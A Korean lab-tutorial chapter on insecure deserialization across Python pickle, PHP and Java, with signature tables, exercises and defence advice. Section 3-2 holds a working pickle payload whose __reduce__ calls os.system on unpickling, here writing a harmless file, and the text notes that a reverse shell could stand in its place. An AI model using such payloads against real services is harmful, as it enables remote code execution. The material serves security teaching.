Step 196. 역직렬화 취약점 — 데이터가 코드가 되는 순간
Level 3 — CTF 실전과 공격 스킬 심화 | 난이도 ★★★★☆ | 예상 소요 시간 3시간
전제: Step 195(XXE)를 마쳤다. 파이썬 클래스와 메서드의 기본 문법을 안다.
- 준비물: 파이썬 3 (표준 라이브러리
pickle,os만 사용 — 추가 설치 없음). - ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 합법 연습장 안내: 오늘의 pickle 실험은 여러분의 작업 폴더 안에서 무해한 명령(텍스트 파일 하나 쓰기)만 실행합니다. PHP/Java 예제는 개념 설명과 출력 예시로 진행합니다.
프로그램이 객체를 파일에 저장하거나 네트워크로 내려면, 메모리 속 객체를 바이트 나열로 펼쳐야 합니다. 이것이 직렬화(serialization) 입니다. 반대로 바이트에서 객체를 다시 조립하는 것이 역직렬화(deserialization) 입니다. 문제는 "다시 조립"하는 과정이 단순한 데이터 복사가 아니라는 점입니다. 많은 직렬화 형식에서 조립은 코드 실행을 동반합니다 — 객체의 특별한 메서드가 자동으로 호출되거든요.
오늘은 파이썬 pickle로 이 원리를 눈앞에서 재현합니다. pickle.loads() 한 줄이 실행되는 순간, 데이터 안에 숨어 있던 명령이 발동하는 것을 "파일이 없다가 생기는" 장면으로 확인합니다. 그리고 PHP의 O: 문자열, Java의 rO0 시그니처까지 — 언어별로 겉모습은 달라도 뼈대가 같은 이 공격의 공통 구조를 정리합니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 직렬화와 역직렬화가 무엇인지, 왜 역직렬화가 코드 실행으로 이어지는지 설명한다
__reduce__를 가진 악성 객체가pickle.loads에서 발동하는 과정을 실측한다- PHP(
O:4:"User"...), Java(rO0AB...), pickle(\x80\x04) 시그니처를 구분한다 - 매직 메서드(
__destruct,readObject)와 가젯 체인의 개념을 설명한다 - 역직렬화 취약점의 올바른 방어("신뢰할 수 없는 데이터는 loads하지 않는다")를 적용한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | 파이썬 3 표준 라이브러리(pickle) — 로컬 랩, PHP/Java는 출력 예시 |
| 오늘의 명령 | pickle.dumps(), pickle.loads(), __reduce__(), Base64 시그니처 읽기 |
| 필요한 개념 | 직렬화/역직렬화, 매직 메서드, 가젯 체인, 객체 주입 |
| 오늘의 산출물 | pickle 코드 실행 재현 스크립트 + 언어별 시그니처 표 + 방어 원칙 |
2-1. 직렬화 — 객체를 바이트로 펼치기
메모리 안의 객체는 변수와 참조가 얽힌 구조물입니다. 이걸 파일에 쓰거나 네트워크로 내려면 일렬의 바이트로 펼쳐야 합니다. 파이썬은 pickle, PHP는 serialize(), Java는 ObjectOutputStream이 이 일을 합니다. 쿠키, 세션, 캐시, 메시지 큐 — 객체가 경계를 넘는 곳마다 직렬화가 있습니다.
역직렬화는 그 반대입니다. 그런데 "객체를 다시 조립한다"는 것은 단순히 값을 채우는 일이 아닙니다. 어떤 클래스의 객체를 만들지, 어떤 복원 절차를 따를지가 데이터 안에 적혀 있습니다. 여기가 공격의 문입니다.
2-2. 왜 데이터가 코드가 되는가 — 매직 메서드
역직렬화 중에는 언어별로 정해진 특별 메서드가 자동 실행됩니다.
- 파이썬 pickle:
__reduce__가 "이 객체를 어떻게 조립할지"를 정의하는데, 여기에 함수와 인자를 적어 두면 조립 과정에서 그 함수가 호출됩니다 - PHP:
unserialize()로 객체가 만들어지고, 스크립트 종료 시점에__destruct()가 자동 호출됩니다. 이 메서드에 파일 삭제 코드가 있는 클래스가 있다면, 그 클래스의 객체를 조립하는 것만으로 파일이 지워집니다 - Java:
readObject()가 역직렬화 중 호출되고, 라이브러리들이 제공하는 클래스들의 메서드가 도미노처럼 이어져 최종적으로 명령 실행에 도달하는 경로가 알려져 있습니다
이 도미노를 가젯 체인(gadget chain) 이라 합니다. 공격자가 새 코드를 심는 것이 아니라, 서버에 이미 있는 클래스들의 메서드를 "조립 순서"로 엮어 무기로 만드는 것입니다. Java의 ysoserial 도구가 유명한 가젯 체인 모음입니다 — 라이브러리 조합 자체가 무기가 됩니다.
2-3. 시그니처 — 데이터를 보고 형식을 알아채기
공격자와 수비자 모두 "이 데이터가 직렬화 객체인가"를 먼저 판별합니다. 형식마다 생김새가 다릅니다.
| 형식 | 시그니처 | 모양 예시 |
|---|---|---|
| PHP serialize | O:숫자:"클래스명" |
O:4:"User":2:{s:4:"name";...} |
| Java 직렬화 (Base64) | rO0으로 시작 |
rO0ABXNy... (원시 바이트 매직: AC ED) |
| 파이썬 pickle | \x80\x04 등 프로토콜 바이트 |
b'\x80\x04\x95...' |
HTTP 쿠키나 파라미터에서 이런 모양이 보이면, 그 서버는 어딘가에서 역직렬화를 하고 있다는 뜻입니다.
2-4. 방어의 유일한 원칙
역직렬화 취약점의 방어는 다른 웹 취약점과 결이 다릅니다. 필터링으로 막을 수 있는 것이 아닙니다. 원칙은 하나: 신뢰할 수 없는 데이터를 역직렬화하지 않는다. pickle 대신 JSON처럼 순수 데이터 형식을 쓰고, 객체를 꼭 주고받아야 하면 서명(HMAC)으로 변조를 검증한 뒤에만 조립합니다. 파이썬 공식 문서도 pickle에 대해 "신뢰할 수 없는 데이터는 절대 역직렬화하지 말라"고 경고합니다.
3. 따라 하기
3-1. 정상 직렬화 — 데이터의 왕복
step196_pickle.py를 만들고 첫 부분부터 실행합니다.
import pickle
data = {"user": "gildong", "level": 3}
blob = pickle.dumps(data)
print("직렬화 결과(앞 60바이트):", blob[:60])
print("역직렬화:", pickle.loads(blob))
출력 (2026-09-09 실측, 파이썬 3.12):
직렬화 결과(앞 60바이트): b'\x80\x04\x95 \x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x04user\x94\x8c\x07gildong\x94\x8c\x05level\x94K\x03u.'
역직렬화: {'user': 'gildong', 'level': 3}
읽는 법: 앞의 \x80\x04가 pickle 프로토콜 4의 시그니처 바이트입니다. 바이트 나열 속에 user, gildong 같은 글자가 보입니다. 지금까지는 순수한 데이터의 왕복입니다.
3-2. 악성 객체 — loads가 명령을 실행하는 순간
이제 __reduce__를 가진 클래스를 만듭니다. 이 메서드는 "나를 이렇게 조립하라"는 설계도를 반환합니다 — (함수, 인자) 쌍입니다. 그리고 pickle은 조립할 때 그 함수를 실제로 호출합니다.
import os
class Evil:
def __reduce__(self):
# 역직렬화될 때 실행될 코드. 무해한 파일 쓰기만.
return (os.system, ("echo PWNED_by_pickle > step196_pwned.txt",))
evil_blob = pickle.dumps(Evil())
print("악성 페이로드 길이:", len(evil_blob), "바이트")
print("파일 존재 여부(loads 전):", os.path.exists("step196_pwned.txt"))
pickle.loads(evil_blob) # 이 한 줄에서 명령이 실행된다
print("파일 존재 여부(loads 후):", os.path.exists("step196_pwned.txt"))
print("파일 내용:", open("step196_pwned.txt").read().strip())
출력 (2026-09-09 실측):
악성 페이로드 길이: 75 바이트
파일 존재 여부(loads 전): False
파일 존재 여부(loads 후): True
파일 내용: PWNED_by_pickle
읽는 법: 이것이 이 챕터의 핵심 장면입니다. pickle.loads() 이전에는 없던 파일이, 이후에는 생겼습니다. 우리가 호출한 것은 "데이터 읽기"였는데, 데이터 안의 설계도(__reduce__)가 os.system을 불렀습니다. 75바이트짜리 데이터가 명령 실행이었던 것입니다. 실전에서 저 자리에는 echo 대신 역셸이나 파일 삭제가 옵니다.
왜: pickle의 설계상 "객체 조립 = 코드 실행"입니다. 파이썬 문서가 이 모듈에 붙인 경고가 그대로 실측된 것입니다. 방어는 필터가 아니라 "쓰지 않기"입니다.
3-3. PHP의 모양 — serialize 문자열 읽기 (출력 예시)
PHP는 직렬화 결과가 사람이 읽을 수 있는 문자열입니다. 출력 예시 (개념 설명용):
O:4:"User":2:{s:4:"name";s:7:"gildong";s:5:"admin";b:1;}
읽는 법: O:4:"User"는 "클래스 User(4글자)의 객체", :2:는 "속성 2개", s:4:"name"은 "문자열 4글자 name", b:1은 "불리언 참"입니다. 공격자는 이 문자열의 클래스명과 속성값을 바꿔 서버에 존재하는 다른 클래스의 객체를 조립시킵니다. 그 클래스의 __destruct()에 위험한 코드가 있으면 객체가 정리될 때 발동합니다.
3-4. Java의 모양 — 가젯 체인 개념 (출력 예시)
Java 직렬화 객체는 바이너리라 앞 두 바이트가 AC ED(16진수)입니다. Base64로 싸여 쿠키에 실리면 rO0으로 시작합니다.
rO0ABXNyACRqYXZhLnV0aWwuQ29sbGVjdGlvbnMk...
읽는 법: 로그나 쿠키에서 rO0으로 시작하는 긴 Base64를 보면 Java 역직렬화 지점입니다. Java는 readObject() 안에서 라이브러리 클래스들의 메서드가 연쇄 호출되는 가젯 체인이 잘 연구되어 있어, 공격자는 ysoserial 같은 도구로 "이 서버의 라이브러리 조합에 맞는" 페이로드를 고릅니다. 서버 클래스패스에 취약한 라이브러리 조합이 있을 때만 성립합니다 — 그래서 가젯 체인 직접 구성은 고급 영역이고, 오늘은 "라이브러리가 무기의 재료가 된다"는 개념 이해로 충분합니다.
3-5. 안전한 대안 — 같은 데이터를 JSON으로
같은 요구(객체를 저장하고 복원)를 안전한 형식으로 구현해 비교해 봅니다.
import json
data = {"user": "gildong", "level": 3}
blob = json.dumps(data)
print("JSON:", blob)
print("복원:", json.loads(blob))
출력 (2026-09-09 실측):
JSON: {"user": "gildong", "level": 3}
복원: {'user': 'gildong', 'level': 3}
읽는 법: JSON에는 "조립할 때 실행할 함수"라는 개념이 없습니다. 문자열, 숫자, 배열, 객체(딕셔너리)만 왕복합니다. 공격자가 내용을 바꿔도 실행될 코드가 데이터에 실릴 자리 자체가 없습니다. 객체를 꼭 주고받아야 한다면, HMAC 서명을 붙여 "내가 만든 데이터인가"를 먼저 검증하고 통과한 것만 역직렬화합니다.
4. 미션과 연습문제
미션 — pickle 코드 실행 재현과 시그니처 감별
- 3-1~3-2를 재현하고, "파일 존재 여부"가 loads 전후로 바뀌는 화면을 캡처합니다
Evil클래스의 명령을 바꿔 봅니다 — 예: 현재 시각을 파일에 기록하는 명령. 실행 시점이loads임을 다시 확인합니다- 3-3의 PHP 시그니처 문자열을 읽고, 클래스명·속성 개수·각 속성의 타입과 값을 표로 분해합니다
- 여러분의 실험에서 만든
evil_blob을 Base64로 인코딩하고, "이 문자열이 pickle임을 알아채는 단서"(디코딩 후 앞 바이트)를 확인합니다 - 3-5의 JSON 버전과 pickle 버전을 나란히 놓고, "왜 JSON은 이 공격이 안 되는가"를 한 문단으로 씁니다
연습문제
문제 1. 역직렬화 공격에서 공격자가 서버에 "새 코드를 업로드"하지 않고도 명령을 실행할 수 있는 이유를 설명해 보세요.
문제 2. PHP의 __destruct, Java의 readObject, 파이썬의 __reduce__는 각각 역직렬화 과정에서 어떤 역할을 하나요? 공통점은 무엇인가요?
문제 3. HTTP 쿠키 값이 rO0ABXN...으로 시작한다면 무엇을 의심해야 하고, 왜인가요?
문제 4. 역직렬화 취약점의 방어가 "입력 필터링"이 아니라 "사용하지 않기/서명 검증"인 이유를 설명해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
1~2번은 3절 실측 그대로입니다. 2번의 명령을 바꿀 때도 실행 지점은 pickle.loads(evil_blob) 한 줄입니다 — pickle.dumps 시점에는 아무 일도 일어나지 않음을 print로 확인해 두세요.
3번 분해표:
| 조각 | 의미 | 값 |
|---|---|---|
O:4:"User" |
클래스 User (4글자) 객체 | 클래스명 User |
:2: |
속성 2개 | — |
s:4:"name" |
문자열 4글자 "name" | 속성명 |
s:7:"gildong" |
문자열 7글자 "gildong" | 값 |
s:5:"admin" / b:1 |
불리언 속성 admin = 참 | 값 |
4번: base64.b64encode(evil_blob) 결과를 디코딩하면 앞이 \x80\x04로 시작합니다. Base64를 풀었을 때 이 바이트가 보이면 pickle입니다. 5번 한 문단 예시: "JSON은 값의 종류(문자열·숫자·배열·객체)만 표현하고 ‘조립 시 실행할 함수’를 표현하는 수단이 없어서, 내용을 어떻게 바꿔도 실행될 코드가 데이터에 실릴 수 없다. pickle은 조립 절차 자체가 데이터에 적히므로 실행이 따라온다."
연습문제 해답
문제 1 해답. 역직렬화는 데이터 안에 적힌 "조립 절차"를 따르는데, 이 절차가 서버에 이미 존재하는 코드(클래스의 매직 메서드, 라이브러리 함수)를 호출하도록 지정할 수 있기 때문입니다. 공격자는 새 코드를 심는 게 아니라 기존 코드를 엮는 순서(가젯 체인)를 데이터로 제출합니다.
문제 2 해답. 셋 모두 "역직렬화로 객체가 조립될 때 개발자의 명시적 호출 없이 자동 실행되는 메서드"라는 공통점이 있습니다. PHP __destruct는 객체 소멸 시, Java readObject는 스트림에서 객체를 읽을 때, 파이썬 __reduce__는 조립 설계도로서 함수 호출을 지정합니다. 공격자는 이 자동 실행 지점에 도달하도록 데이터를 조작합니다.
문제 3 해답. Java 직렬화 객체를 의심해야 합니다. Java 직렬화 바이트 스트림은 매직 바이트 AC ED로 시작하고, 이를 Base64 인코딩하면 rO0으로 시작하기 때문입니다. 쿠키에 이 값이 있다는 것은 서버 어딘가에서 그 쿠키를 역직렬화한다는 뜻이고, 변조 가능한 입력이 역직렬화로 흘러가는 위험 지점입니다.
문제 4 해답. 역직렬화 공격의 페이로드는 "문법적으로 완전히 정상적인" 직렬화 데이터입니다 — 구조가 올바르기 때문에 형식 검사나 문자열 필터로는 악성과 정상을 구별할 수 없습니다. 악의는 데이터의 모양이 아니라 조립 결과에 있습니다. 그래서 방어는 신뢰할 수 없는 입력에는 역직렬화 자체를 적용하지 않거나(순수 데이터 형식 사용), HMAC 서명으로 "내가 발행한 데이터"만 조립하는 방향이어야 합니다.
완료 기준 체크리스트
- [ ] 직렬화/역직렬화를 "객체 ↔ 바이트 나열"로 설명할 수 있다
- [ ]
__reduce__가 조립 설계도이며 pickle이 그 함수를 실행함을 실측했다 - [ ]
pickle.loads전후로 파일이 생기는 장면을 재현했다 - [ ] PHP
O:, JavarO0, pickle\x80\x04시그니처를 구분할 수 있다 - [ ] 가젯 체인이 "기존 코드의 연쇄 호출"임을 설명할 수 있다
- [ ] JSON이 이 공격에 안전한 이유를 설명할 수 있다
- [ ] 미션: 재현 캡처 + PHP 시그니처 분해표 + JSON 비교 문단 작성
6. 흔한 실수와 해결
벽 1. ModuleNotFoundError: No module named 'pickle'
원인: 거의 없지만, pickle.py라는 이름의 내 파일이 표준 라이브러리를 가린 경우가 있습니다.
해결: 작업 폴더에 pickle.py, os.py 같은 표준 모듈과 같은 이름의 파일을 만들지 마세요. 이름이 겹치면 바꾸고 __pycache__도 지웁니다.
벽 2. loads를 했는데 파일이 안 생긴다
원인 1: os.system의 명령이 실행되는 현재 작업 디렉터리가 스크립트 위치와 다를 수 있습니다. 다른 폴더에서 실행하면 파일이 거기에 생깁니다.
원인 2: 리다이렉션(>)이 쉘 문법이라 환경에 따라 다릅니다. Git Bash/리눅스에서는 잘 되고, 일부 환경에서는 다를 수 있습니다.
해결: os.getcwd()를 찍어 작업 디렉터리를 확인하고, 파일을 찾을 때는 그 폴더를 보세요.
벽 3. AttributeError: Can't pickle local object
증상 계열 메시지:
_pickle.PicklingError: Can't pickle <class ...>: it's not found as ...
원인: 클래스가 함수 안이나 조건문 안에서 정의되면 pickle이 모듈 경로로 찾지 못합니다.
해결: 클래스는 스크립트 최상위(들여쓰기 없는 곳)에 정의하세요.
벽 4. 다른 파이썬 버전에서 만든 pickle이 안 열린다
원인: pickle은 파이썬 전용이며 프로토콜 버전이 있습니다. 기본 프로토콜(3.12에서는 5 근방)보다 오래된 인터프리터는 새 프로토콜을 못 읽습니다.
해결: 이것이 pickle을 "영구 저장/교환 형식"으로 쓰면 안 되는 또 다른 이유입니다. 교환이 필요하면 JSON을 쓰세요. 실험은 dumps와 loads를 같은 인터프리터에서 하세요.
벽 5. "pickle을 안전하게 쓰는 필터"를 만들고 싶다
원인: pickle.Unpickler를 상속해 find_class를 제한하는 기법이 알려져 있지만, 우회 사례가 반복해서 보고됩니다.
해결: 필터로 안전하게 만들 수 있다는 생각 자체를 버리세요. 공식 문서의 경고대로 신뢰할 수 없는 데이터에는 쓰지 않는 것이 답입니다. 검증이 필요하면 HMAC 서명(Step 150의 개념)을 붙이세요.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 직렬화 | 메모리 속 객체를 저장·전송용 바이트 나열로 펼치는 것 |
| 역직렬화 | 바이트 나열에서 객체를 다시 조립하는 것 — 조립에 코드 실행이 따를 수 있다 |
__reduce__ |
pickle 조립 설계도 — (함수, 인자)를 적으면 그 함수가 실행된다 |
| 매직 메서드 | 역직렬화 중 자동 호출되는 메서드 (__destruct, readObject) |
| 가젯 체인 | 서버에 있는 클래스들의 메서드를 연쇄 호출로 엮어 만드는 무기 |
| 시그니처 | PHP O:, Java rO0(AC ED), pickle \x80\x04 — 형식 감별 단서 |
| ysoserial | Java 가젯 체인 페이로드 모음 도구 — 라이브러리 조합이 무기 |
| 방어 원칙 | 신뢰할 수 없는 데이터는 역직렬화하지 않는다 — JSON 또는 HMAC 검증 |
오늘의 명령어·코드
| 명령·코드 | 하는 일 |
|---|---|
pickle.dumps(객체) |
객체 → 바이트 나열 |
pickle.loads(바이트) |
바이트 → 객체 조립 (위험 지점) |
def __reduce__(self): return (함수, (인자,)) |
역직렬화 시 실행될 동작 정의 |
os.path.exists(...) 전후 비교 |
코드 실행 시점의 증명 |
json.dumps() / json.loads() |
안전한 순수 데이터 왕복 |
base64.b64encode(blob) |
페이로드를 전송 가능한 문자열로 |
명령어보다 중요한 감각
데이터를 볼 때 "이것이 역직렬화되는가?"를 묻는 눈을 가지세요. 쿠키의 rO0, 파라미터의 O:, 바이너리의 \x80 — 이 시그니처들은 "저 너머에서 조립이 일어난다"는 표지판입니다. 그리고 방어자의 감각 하나: 이 취약점은 패치가 아니라 선택의 문제입니다. 처음부터 "남이 만든 데이터를 loads에 넣지 않는다"를 설계 원칙으로 삼으면, 필터를 백 개 쌓아도 못 막는 공격을 원천 차단할 수 있습니다. 편리한 형식일수록 실행이 딸려 오는지부터 확인하세요.
전부 체크되면 Step 196 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.